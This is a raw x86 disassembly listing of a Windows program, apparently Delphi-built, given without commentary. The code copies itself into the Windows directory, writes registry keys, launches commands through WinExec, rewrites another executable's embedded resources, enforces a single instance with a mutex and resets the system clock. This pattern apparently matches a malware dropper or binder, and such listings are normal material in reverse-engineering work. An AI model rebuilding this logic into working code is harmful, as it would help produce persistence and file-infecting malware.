mov eax, 0x131586d0
call fcn.1314c4a8
mov edx, dword [ebp - 0x1c0]
mov ecx, dword [0x1315be74]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
mov eax, dword [0x1315bedc]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13153627
push 0
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x1315871c
lea eax, [ebp - 0x1c4]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1c4]
call fcn.131448ec
push eax
lea edx, [ebp - 0x1d0]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x1d0]
lea eax, [ebp - 0x1cc]
mov edx, 0x13158728
call fcn.13144738
mov eax, dword [ebp - 0x1cc]
lea edx, [ebp - 0x1c8]
call fcn.1314c4a8
mov eax, dword [ebp - 0x1c8]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13153464
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x1315871c
lea eax, [ebp - 0x1d4]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1d4]
mov edx, 0x1315be60
call fcn.1314c52c
call fcn.1314e92c
lea edx, [ebp - 0x1d8]
mov eax, dword [0x1315be60]
call fcn.1314ba54
mov edx, dword [ebp - 0x1d8]
mov eax, 0x1315be58
call fcn.131444c0
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1315346e
call fcn.1314e92c
push 0x13158748
push dword [0x1315be00]
push 0x1315899c
push dword [0x1315be74]
push 0x131587b8
push 0x131587cc
push 0x131587d8
push dword [0x1315be58]
push 0x131587ec
push 0x131587cc
push 0x131587f8
push 0x131587cc
push 0x1315882c
push 0x131587cc
push 0x13158870
push 0x131587cc
push 0x13158880
push dword [0x1315be00]
push 0x1315899c
push dword [0x1315be74]
push 0x131588ac
push 0x131587cc
push 0x131588c0
push 0x131587cc
push 0x131588e0
push 0x131587cc
push 0x131588f8
push dword [0x1315be00]
push 0x1315899c
push dword [0x1315be74]
push 0x13158928
push 0x131587cc
push 0x1315893c
push 0x131587cc
push 0x1315894c
push 0x131587cc
push 0x13158968
push 0x131587cc
mov eax, 0x1315be5c
mov edx, 0x26
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x13158978
lea eax, [ebp - 0x1dc]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1dc]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be5c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be5c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x13158978
lea eax, [ebp - 0x1e0]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1e0]
push eax
lea edx, [ebp - 0x1e4]
mov eax, 0x131586d0
call fcn.1314c4a8
mov edx, dword [ebp - 0x1e4]
mov ecx, dword [0x1315be78]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov edx, dword [0x1315be78]
mov eax, 0x131589b0
call fcn.131449d4
test eax, eax
jle 0x13153a38
mov edx, dword [0x1315be78]
mov eax, 0x131589c0
call fcn.131449d4
test eax, eax
jne 0x13153a38
push 0x101
push 0x1315bce8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315bdec], 0x1315bce8
call fcn.1314e92c
mov eax, 0x1315be00
mov edx, dword [0x1315bdec]
call fcn.13144648
call fcn.1314e92c
push 0
push dword [0x1315be00]
push 0x131589cc
push dword [0x1315be74]
lea eax, [ebp - 0x1e8]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1e8]
call fcn.131448ec
push eax
lea edx, [ebp - 0x1f4]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x1f4]
lea eax, [ebp - 0x1f0]
mov edx, 0x131586b8
call fcn.13144738
mov eax, dword [ebp - 0x1f0]
lea edx, [ebp - 0x1ec]
call fcn.1314c4a8
mov eax, dword [ebp - 0x1ec]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push dword [0x1315be00]
push 0x131589cc
push dword [0x1315be74]
lea eax, [ebp - 0x1f8]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1f8]
push eax
lea edx, [ebp - 0x1fc]
mov eax, 0x131586d0
call fcn.1314c4a8
mov edx, dword [ebp - 0x1fc]
mov ecx, dword [0x1315be74]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
mov eax, dword [0x1315bedc]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13153a33
push 0
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x1315871c
lea eax, [ebp - 0x200]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x200]
call fcn.131448ec
push eax
lea edx, [ebp - 0x20c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x20c]
lea eax, [ebp - 0x208]
mov edx, 0x13158728
call fcn.13144738
mov eax, dword [ebp - 0x208]
lea edx, [ebp - 0x204]
call fcn.1314c4a8
mov eax, dword [ebp - 0x204]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13153870
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x1315871c
lea eax, [ebp - 0x210]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x210]
mov edx, 0x1315be60
call fcn.1314c52c
call fcn.1314e92c
lea edx, [ebp - 0x214]
mov eax, dword [0x1315be60]
call fcn.1314ba54
mov edx, dword [ebp - 0x214]
mov eax, 0x1315be58
call fcn.131444c0
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1315387a
call fcn.1314e92c
push 0x13158748
push dword [0x1315be00]
push 0x131589cc
push dword [0x1315be74]
push 0x131587b8
push 0x131587cc
push 0x131587d8
push dword [0x1315be58]
push 0x131587ec
push 0x131587cc
push 0x131587f8
push 0x131587cc
push 0x1315882c
push 0x131587cc
push 0x13158870
push 0x131587cc
push 0x13158880
push dword [0x1315be00]
push 0x131589cc
push dword [0x1315be74]
push 0x131588ac
push 0x131587cc
push 0x131588c0
push 0x131587cc
push 0x131588e0
push 0x131587cc
push 0x131588f8
push dword [0x1315be00]
push 0x131589cc
push dword [0x1315be74]
push 0x13158928
push 0x131587cc
push 0x1315893c
push 0x131587cc
push 0x1315894c
push 0x131587cc
push 0x13158968
push 0x131587cc
mov eax, 0x1315be5c
mov edx, 0x26
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x13158978
lea eax, [ebp - 0x218]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x218]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be5c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be5c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x13158978
lea eax, [ebp - 0x21c]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x21c]
push eax
lea edx, [ebp - 0x220]
mov eax, 0x131586d0
call fcn.1314c4a8
mov edx, dword [ebp - 0x220]
mov ecx, dword [0x1315be78]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov edx, dword [0x1315be78]
mov eax, 0x131589b0
call fcn.131449d4
test eax, eax
jg 0x13153e28
mov edx, dword [0x1315be78]
mov eax, 0x13158988
call fcn.131449d4
test eax, eax
jg 0x13153e28
mov edx, dword [0x1315be78]
mov eax, 0x13156ac8
call fcn.131449d4
test eax, eax
jg 0x13153e28
xor eax, eax
push ebp
push 0x13153e19
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 0x224]
mov ecx, dword [0x1315be74]
mov edx, dword [0x1315be78]
call fcn.13144738
mov eax, dword [ebp - 0x224]
call fcn.131448ec
push eax
lea edx, [ebp - 0x230]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x230]
lea eax, [ebp - 0x22c]
mov edx, 0x131586b8
call fcn.13144738
mov eax, dword [ebp - 0x22c]
lea edx, [ebp - 0x228]
call fcn.1314c4a8
mov eax, dword [ebp - 0x228]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
lea eax, [ebp - 0x234]
mov ecx, dword [0x1315be74]
mov edx, dword [0x1315be78]
call fcn.13144738
mov eax, dword [ebp - 0x234]
push eax
lea edx, [ebp - 0x238]
mov eax, 0x131586d0
call fcn.1314c4a8
mov edx, dword [ebp - 0x238]
mov ecx, dword [0x1315be74]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
mov eax, dword [0x1315bedc]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13153e0a
push 0
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x1315871c
lea eax, [ebp - 0x23c]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x23c]
call fcn.131448ec
push eax
lea edx, [ebp - 0x248]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x248]
lea eax, [ebp - 0x244]
mov edx, 0x13158728
call fcn.13144738
mov eax, dword [ebp - 0x244]
lea edx, [ebp - 0x240]
call fcn.1314c4a8
mov eax, dword [ebp - 0x240]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13153c56
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x1315871c
lea eax, [ebp - 0x24c]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x24c]
mov edx, 0x1315be60
call fcn.1314c52c
call fcn.1314e92c
lea edx, [ebp - 0x250]
mov eax, dword [0x1315be60]
call fcn.1314ba54
mov edx, dword [ebp - 0x250]
mov eax, 0x1315be58
call fcn.131444c0
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13153c60
call fcn.1314e92c
push 0x13158748
push dword [0x1315be78]
push dword [0x1315be74]
push 0x131587b8
push 0x131587cc
push 0x131587d8
push dword [0x1315be58]
push 0x131587ec
push 0x131587cc
push 0x131587f8
push 0x131587cc
push 0x1315882c
push 0x131587cc
push 0x13158870
push 0x131587cc
push 0x13158880
push dword [0x1315be78]
push dword [0x1315be74]
push 0x131588ac
push 0x131587cc
push 0x131588c0
push 0x131587cc
push 0x131588e0
push 0x131587cc
push 0x131588f8
push dword [0x1315be78]
push dword [0x1315be74]
push 0x13158928
push 0x131587cc
push 0x1315893c
push 0x131587cc
push 0x1315894c
push 0x131587cc
push 0x13158968
push 0x131587cc
mov eax, 0x1315be5c
mov edx, 0x23
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x13158978
lea eax, [ebp - 0x254]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x254]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be5c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be5c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push dword [0x1315be00]
push 0x13156af4
push dword [0x1315be74]
push 0x13158978
lea eax, [ebp - 0x258]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x258]
push eax
lea edx, [ebp - 0x25c]
mov eax, 0x131586d0
call fcn.1314c4a8
mov edx, dword [ebp - 0x25c]
mov ecx, dword [0x1315be78]
mov eax, 0x80000001
call fcn.1314c6fc
call fcn.1314e92c
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13153e23
call fcn.1314e92c
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x264]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315be00]
call fcn.1314494c
push dword [ebp - 0x264]
push dword [0x1315be6c]
push 0x13156b00
push dword [0x1315be70]
push 0x13156b10
lea eax, [ebp - 0x260]
mov edx, 5
call fcn.131447ac
mov eax, dword [ebp - 0x260]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x1315be34], eax
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315be7c]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13154499
mov eax, dword [0x1315bed8]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x131540f7
push 0
lea eax, [ebp - 0x268]
push eax
xor ecx, ecx
mov edx, 0x131589e0
mov eax, 0x80000000
call fcn.1314eae8
mov edx, dword [ebp - 0x268]
mov eax, 0x1315be04
call fcn.131444c0
call fcn.1314e92c
push 0x1315be08
mov eax, dword [0x1315be04]
call fcn.131446ec
mov ecx, eax
dec ecx
xor edx, edx
mov eax, dword [0x1315be04]
call fcn.1314494c
call fcn.1314e92c
push 0x1315be0c
mov eax, dword [0x1315be04]
call fcn.131446ec
mov ecx, eax
dec ecx
xor edx, edx
mov eax, dword [0x1315be08]
call fcn.1314494c
call fcn.1314e92c
mov eax, 0x1315be0c
mov ecx, 1
mov edx, 1
call fcn.1314498c
call fcn.1314e92c
lea edx, [ebp - 0x26c]
mov eax, dword [0x1315be0c]
call fcn.1314bda0
mov edx, dword [ebp - 0x26c]
mov eax, 0x1315be10
call fcn.131444c0
call fcn.1314e92c
push 0x1315be14
mov eax, dword [0x1315be10]
call fcn.131446ec
mov ecx, eax
sub ecx, 4
xor edx, edx
mov eax, dword [0x1315be10]
call fcn.1314494c
call fcn.1314e92c
push 0
lea eax, [ebp - 0x270]
mov ecx, dword [0x1315be14]
mov edx, 0x13158a00
call fcn.13144738
mov eax, dword [ebp - 0x270]
call fcn.131448ec
push eax
call sub.kernel32.dll_WinExec
call fcn.1314e92c
push 0
lea eax, [ebp - 0x274]
mov ecx, 0x13156ab8
mov edx, dword [0x1315be0c]
call fcn.13144738
mov eax, dword [ebp - 0x274]
call fcn.131448ec
push eax
lea edx, [ebp - 0x280]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x280]
lea eax, [ebp - 0x27c]
mov edx, 0x13158a10
call fcn.13144738
mov eax, dword [ebp - 0x27c]
lea edx, [ebp - 0x278]
call fcn.1314c4a8
mov eax, dword [ebp - 0x278]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
mov eax, dword [0x1315be30]
push eax
call sub.kernel32.dll_FreeLibrary_1
call fcn.1314e92c
push 0x3e8
call sub.kernel32.dll_Sleep
call fcn.1314e92c
push 0
mov eax, dword [0x1315be0c]
call fcn.131448ec
push eax
push 0x13158a10
push dword [0x1315be0c]
push 0x13156ab8
lea eax, [ebp - 0x288]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x288]
lea edx, [ebp - 0x284]
call fcn.1314c4a8
mov eax, dword [ebp - 0x284]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
lea eax, [ebp - 0x290]
mov ecx, 0x13156ab8
mov edx, dword [0x1315be0c]
call fcn.13144738
mov eax, dword [ebp - 0x290]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x28c]
call fcn.13144648
mov eax, dword [ebp - 0x28c]
call fcn.13146abc
call fcn.1314e92c
jmp 0x13154494
push 0
lea eax, [ebp - 0x294]
push eax
xor ecx, ecx
mov edx, 0x131589e0
mov eax, 0x80000000
call fcn.1314eae8
mov edx, dword [ebp - 0x294]
mov eax, 0x1315be04
call fcn.131444c0
call fcn.1314e92c
push 0x1315be08
mov eax, dword [0x1315be04]
call fcn.131446ec
mov ecx, eax
dec ecx
xor edx, edx
mov eax, dword [0x1315be04]
call fcn.1314494c
call fcn.1314e92c
push 0x1315be0c
mov eax, dword [0x1315be04]
call fcn.131446ec
mov ecx, eax
dec ecx
xor edx, edx
mov eax, dword [0x1315be08]
call fcn.1314494c
call fcn.1314e92c
mov eax, 0x1315be0c
mov ecx, 1
mov edx, 1
call fcn.1314498c
call fcn.1314e92c
lea edx, [ebp - 0x298]
mov eax, dword [0x1315be0c]
call fcn.1314bda0
mov edx, dword [ebp - 0x298]
mov eax, 0x1315be10
call fcn.131444c0
call fcn.1314e92c
push 0x1315be14
mov eax, dword [0x1315be10]
call fcn.131446ec
mov ecx, eax
sub ecx, 4
xor edx, edx
mov eax, dword [0x1315be10]
call fcn.1314494c
call fcn.1314e92c
push 0
lea eax, [ebp - 0x29c]
mov ecx, dword [0x1315be14]
mov edx, 0x13158a00
call fcn.13144738
mov eax, dword [ebp - 0x29c]
call fcn.131448ec
push eax
call sub.kernel32.dll_WinExec
call fcn.1314e92c
push 0
lea eax, [ebp - 0x2a0]
mov ecx, 0x13156ab8
mov edx, dword [0x1315be0c]
call fcn.13144738
mov eax, dword [ebp - 0x2a0]
call fcn.131448ec
push eax
lea edx, [ebp - 0x2ac]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x2ac]
lea eax, [ebp - 0x2a8]
mov edx, 0x13158a10
call fcn.13144738
mov eax, dword [ebp - 0x2a8]
lea edx, [ebp - 0x2a4]
call fcn.1314c4a8
mov eax, dword [ebp - 0x2a4]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
mov eax, dword [0x1315be0c]
call fcn.131448ec
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1315be30], eax
call fcn.1314e92c
push 0x10
push 1
mov eax, dword [0x1315be30]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be30]
push eax
call sub.kernel32.dll_LoadResource
push eax
call sub.kernel32.dll_LockResource
mov dword [0x1315be44], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be30]
push eax
call sub.kernel32.dll_SizeofResource
mov esi, eax
call fcn.1314e92c
push 0
lea eax, [ebp - 0x2b0]
mov ecx, 0x13156ab8
mov edx, dword [0x1315be0c]
call fcn.13144738
mov eax, dword [ebp - 0x2b0]
call fcn.131448ec
push eax
call sub.kernel32.dll_BeginUpdateResourceA
mov ebx, eax
call fcn.1314e92c
push esi
mov eax, dword [0x1315be44]
push eax
push 0
push 1
push 0x10
push ebx
call sub.kernel32.dll_UpdateResourceA
call fcn.1314e92c
push 0
push ebx
call sub.kernel32.dll_EndUpdateResourceA
call fcn.1314e92c
mov eax, dword [0x1315be30]
push eax
call sub.kernel32.dll_FreeLibrary_1
call fcn.1314e92c
mov eax, dword [0x1315be0c]
call fcn.131448ec
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1315be30], eax
call fcn.1314e92c
push 3
push 5
mov eax, dword [0x1315be30]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be30]
push eax
call sub.kernel32.dll_LoadResource
push eax
call sub.kernel32.dll_LockResource
mov dword [0x1315be44], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be30]
push eax
call sub.kernel32.dll_SizeofResource
mov esi, eax
call fcn.1314e92c
push 0
lea eax, [ebp - 0x2b4]
mov ecx, 0x13156ab8
mov edx, dword [0x1315be0c]
call fcn.13144738
mov eax, dword [ebp - 0x2b4]
call fcn.131448ec
push eax
call sub.kernel32.dll_BeginUpdateResourceA
mov ebx, eax
call fcn.1314e92c
push esi
mov eax, dword [0x1315be44]
push eax
push 0
push 1
push 3
push ebx
call sub.kernel32.dll_UpdateResourceA
call fcn.1314e92c
push 0
push ebx
call sub.kernel32.dll_EndUpdateResourceA
call fcn.1314e92c
mov eax, dword [0x1315be30]
push eax
call sub.kernel32.dll_FreeLibrary_1
call fcn.1314e92c
push 0x3e8
call sub.kernel32.dll_Sleep
call fcn.1314e92c
push 0
mov eax, dword [0x1315be0c]
call fcn.131448ec
push eax
push 0x13158a10
push dword [0x1315be0c]
push 0x13156ab8
lea eax, [ebp - 0x2bc]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x2bc]
lea edx, [ebp - 0x2b8]
call fcn.1314c4a8
mov eax, dword [ebp - 0x2b8]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
lea eax, [ebp - 0x2c4]
mov ecx, 0x13156ab8
mov edx, dword [0x1315be0c]
call fcn.13144738
mov eax, dword [ebp - 0x2c4]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x2c0]
call fcn.13144648
mov eax, dword [ebp - 0x2c0]
call fcn.13146abc
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315be8c]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x1315453a
push 0x101
push 0x1315bce8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315bdec], 0x1315bce8
call fcn.1314e92c
mov eax, 0x1315be00
mov edx, dword [0x1315bdec]
call fcn.13144648
call fcn.1314e92c
xor eax, eax
push ebp
push 0x1315452b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2c8]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315be00]
call fcn.1314494c
mov eax, dword [ebp - 0x2c8]
call fcn.1314c7c8
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13154535
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315bec0]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x131545db
push 0x101
push 0x1315bce8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315bdec], 0x1315bce8
call fcn.1314e92c
mov eax, 0x1315be00
mov edx, dword [0x1315bdec]
call fcn.13144648
call fcn.1314e92c
xor eax, eax
push ebp
push 0x131545cc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2cc]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315be00]
call fcn.1314494c
mov eax, dword [ebp - 0x2cc]
call fcn.1314e08c
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x131545d6
call fcn.1314e92c
call fcn.1314e92c
push 0x13158a18
push 0xffffffffffffffff
push 0x1f0001
call sub.kernel32.dll_OpenMutexA
mov ebx, eax
call fcn.1314e92c
test ebx, ebx
jbe 0x13154603
push 0
call sub.kernel32.dll_ExitProcess_1
call fcn.1314e92c
push 0x13158a18
push 0xffffffffffffffff
push 0
call fcn.13145768
call fcn.1314e92c
mov eax, dword [0x1315bee8]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x131549a8
xor eax, eax
push ebp
push 0x13154999
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x2d0]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x2d0]
call fcn.131448ec
push eax
push 0x21
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315beec
lea eax, [ebp - 0x2d4]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x2d4]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x2d8]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x2d8]
call fcn.131448ec
push eax
push 0x22
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315bef0
lea eax, [ebp - 0x2dc]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x2dc]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x2e0]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x2e0]
call fcn.131448ec
push eax
push 0x23
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315bef4
lea eax, [ebp - 0x2e4]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x2e4]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x2e8]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x2e8]
call fcn.131448ec
push eax
push 0x24
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315bef8
lea eax, [ebp - 0x2ec]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x2ec]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
push 0x1315bb18
call sub.kernel32.dll_GetSystemTime
call fcn.1314e92c
mov eax, dword [0x1315beec]
call fcn.13146954
mov dword [0x1315be54], eax
call fcn.1314e92c
mov eax, dword [0x1315bef0]
call fcn.13146954
mov ebx, eax
call fcn.1314e92c
mov eax, dword [0x1315bef4]
call fcn.13146954
mov esi, eax
call fcn.1314e92c
mov eax, dword [0x1315bef8]
call fcn.13146954
mov dword [0x1315be50], eax
call fcn.1314e92c
mov di, word [0x1315be54]
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ax, word [0x1315be50]
mov word [0x1315be40], ax
call fcn.1314e92c
mov ax, word [0x1315bb18]
sub ax, word [0x1315bb18]
add di, ax
mov word [0x1315bb18], di
call fcn.1314e92c
mov ax, word [0x1315bb20]
sub ax, word [0x1315bb20]
sub bx, 3
add ax, bx
mov word [0x1315bb20], ax
call fcn.1314e92c
mov ax, word [0x1315bb22]
sub ax, word [0x1315bb22]
add si, ax
mov word [0x1315bb22], si
call fcn.1314e92c
mov ax, word [0x1315bb24]
sub ax, word [0x1315bb24]
add ax, word [0x1315be40]
mov word [0x1315bb24], ax
call fcn.1314e92c
push 0x1315bb18
call sub.kernel32.dll_SetSystemTime
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x131549a3
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315bee0]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13154f21
xor eax, eax
push ebp
push 0x13154f12
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x2f0]
mov eax, 0x13156a64
call fcn.1314c4a8
mov eax, dword [ebp - 0x2f0]
call fcn.131448ec
push eax
push 0x1f
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315be48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315be2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
